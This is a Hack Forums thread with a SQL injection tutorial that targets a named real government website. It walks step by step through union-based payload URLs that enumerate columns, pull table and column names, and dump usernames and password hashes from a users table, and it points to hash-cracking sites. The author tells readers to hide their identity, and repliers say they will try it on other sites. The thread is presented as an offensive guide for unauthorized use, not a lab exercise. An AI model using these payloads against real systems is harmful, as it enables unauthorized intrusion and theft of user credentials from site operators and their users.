

Forum:[Hack Forums](#)

Thread: [\[SQL\] String Based Injection Detailed Tutorial With PICS \[SQL\]](#)

torque59 - May 13, 2012, 2:20 am

Hello guys I am making this tutorial for all those who want to have a look at String based SQL Injection ?

It's better to have a good look at SQL tuts done by our HF members before reading this.

Links:hackforums.net/showthread.php?tid=1923250
hackforums.net/showthread.php?tid=1814660

[NOTE]The site used here is a gov. Better to hide your ass before you get BUSTED?[NOTE]

LOL lets Rock ?

Lets take this Site

Code <http://www.bhutan.gov.bt/government/newsDetail.php?id=208>

WE add a quote to see if its inject-able

Code <http://www.bhutan.gov.bt/government/newsDetail.php?id=208>'
Voila! We got our error

Now moving on to order based queries

We try order by x--

Code <http://www.bhutan.gov.bt/government/newsDetail.php?id=208> order by 1-- ---->Error

Code <http://www.bhutan.gov.bt/government/newsDetail.php?id=208> order by 100-- -->Error

Doomed No? We Have a Solution

This is where the String based injection comes into play

Instead of the typical order by 1-- in error based injections we Use

order by 1--+- or order by 1--+

and change the id parameter to: id=x' order by x---+-

[note]THIS is a Very important As string based Injections are considered Dont forget this ?[note]

So moving on>Lets inject with order by

Code `http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--+- -->`No Error Loads fine

Code `http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 2--+- -->`No error Loads fine

And So on till we get an error

Code `http://www.bhutan.gov.bt/government/newsDetail.php?id=208' order by 9--+- -->`Error

So the number of Columns must be 8..

Moving on

[note]The union statements used are the same here and has change only in the injection parameter[note]

eg: `id=-x' union select x--+-`

using the ' after x preferentially changes depending upon the error

So continuing

Code `http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,3,4,5,6,7,8--+-`

You get the vulnerable column.Its 3

Looking for the version

[note]You could also get the `hostname()`,`user()`,`database()` by using `group_concat(required field)`[note]

Code `http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,version(),4,5,6,7,8--+-`

Getting the tables out

Code `http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--+-`

There are a hell Lot of Tables take the on of your interest

As a matter of interest we take the table Users out

Code `http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name=0x7573657273--+-`

You could easily hex your queries by using this website

<http://www.swingnote.com/tools/texttohex.php>

Now extracting the data out of the columns

Code `http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(0x0a,USERNAME,0x3a,PASSW),4,5,6,7,8 from users--+`
You could convert the hashed password.

Its a SHA-512 hash which i thing is quite difficult to crack .

Hash Identifier:

<http://www.mediafire.com/?rfedip2eqe456z6>

Sites for hash searches :

<http://www.md5decrypter.co.uk/>

Those Who liked my Tutorial

Plse do leave a Thanks message and a +ve rep ?

Feel free to PM me regaring any clarification

Srry for the wrong website.It is error based but could be used as string also .

--

Shots to Downfall,Dan,Haxor

Gjaosu - May 13, 2012, 2:25 am

I think you wrong. This site isn't String based

PHP Code

`<?php`

`http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--`

No Error

PHP Code

`<?php`

`http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 100--`

Error

Code Error fetching news!

Cipri - May 13, 2012, 2:34 am

Thanks bro, i know a site or two where I'm going to try this :D

torque59 - May 13, 2012, 3:00 am

(May 13, 2012 02:25 AM)Gjaosu Wrote: [\[CITE\]](#) I think you wrong. This site isn't String based

PHP Code

`<?php`

`http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--`

No Error

PHP Code

`<?php`

http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 100--

Error

Code Error fetching news!

YA i knew that just changed it into string based just to make this tut

Srry ?

DsntExist - May 14, 2012, 2:59 pm

I'm going to take a look at this dude. I'd really like to learn string based because I encountered a couple times where my normal method fails to succeed.

Fbrugs - May 16, 2012, 11:30 am

MD5Decrypter Failed To Find HASH

Help me??

torque59 - May 16, 2012, 11:37 am

(May 16, 2012 11:30 AM)Fbrugs Wrote: [\[CITE\]](#) MD5Decrypter Failed To Find HASH

Help me??

Are u talking about this site demonstrated or any other site en

If the site demonstrated then it is not md5 it is sha-512

or if other then the md5 might be salted

Pr3nK - May 16, 2012, 2:29 pm

(May 13, 2012 02:20 AM)torque59 Wrote: [\[CITE\]](#) Those Who liked my Tutorial

Plse do leave a Thanks message and a +ve rep ?

It's not allowed asking for +rep on HF ?

xx 0x0 xx - May 16, 2012, 3:03 pm

well it's not totally complete tut but i like your hard work brother thx

torque59 - May 17, 2012, 1:03 am

(May 16, 2012 03:03 PM)mats0o0o0 Wrote: [\[CITE\]](#) well it's not totally complete tut but i like your hard work brother thx

Thanks man it takes a while to write these tuts ?

zdog685 - May 17, 2012, 1:36 am

I have a question is this error mean it is vonerable

Not Found

The requested URL /original/' was not found on this server.

torque59 - May 17, 2012, 1:43 am

(May 17, 2012 01:36 AM)zdog685 Wrote: [\[CITE\]](#) I have a question is this error mean it is vonerable

Not Found

The requested URL /original/' was not found on this server.

I thing it is not vulnerable because you just added it before a page and the page name was not found

If you have any doubts give me skype id i will contact you over skype

ravasclavas1 - May 26, 2012, 10:25 pm

this tutorial is awesome tutorial i will try it out on my personal website

hitler_m - May 27, 2012, 12:14 am

good one dude....

really very helpful for beginners....

torque59 - May 27, 2012, 3:58 am

(May 27, 2012 12:14 AM)hitler_m Wrote: [\[CITE\]](#) good one dude....

really very helpful for beginners....

Thanks bro I am planning to write another one soon

Thanks For the Comments

Hunter Kh - May 27, 2012, 4:08 am

nice tut i like it and good luck torque <3

BlackRoas - May 27, 2012, 5:11 am

thx man keep up your work.

The message is . Please enter a message longer than 35 characters

torque59 - May 27, 2012, 6:20 am

(May 27, 2012 05:11 AM)BlackRoas Wrote: [\[CITE\]](#) thx man keep up your work.

The message is . Please enter a message longer than 35 characters

Lol bro thanks for the feed back

I will try to keep up the good work ?

delwaralam - May 26, 2016, 5:08 pm

nice tutorial

thank you so much

54j1b - May 31, 2016, 3:08 am

Nice post

Thank You So much/

atha - February 6, 2017, 1:20 am

Its GOV one. Ha..haaa :) :).. lot of gov should tighten there security. Thanks man.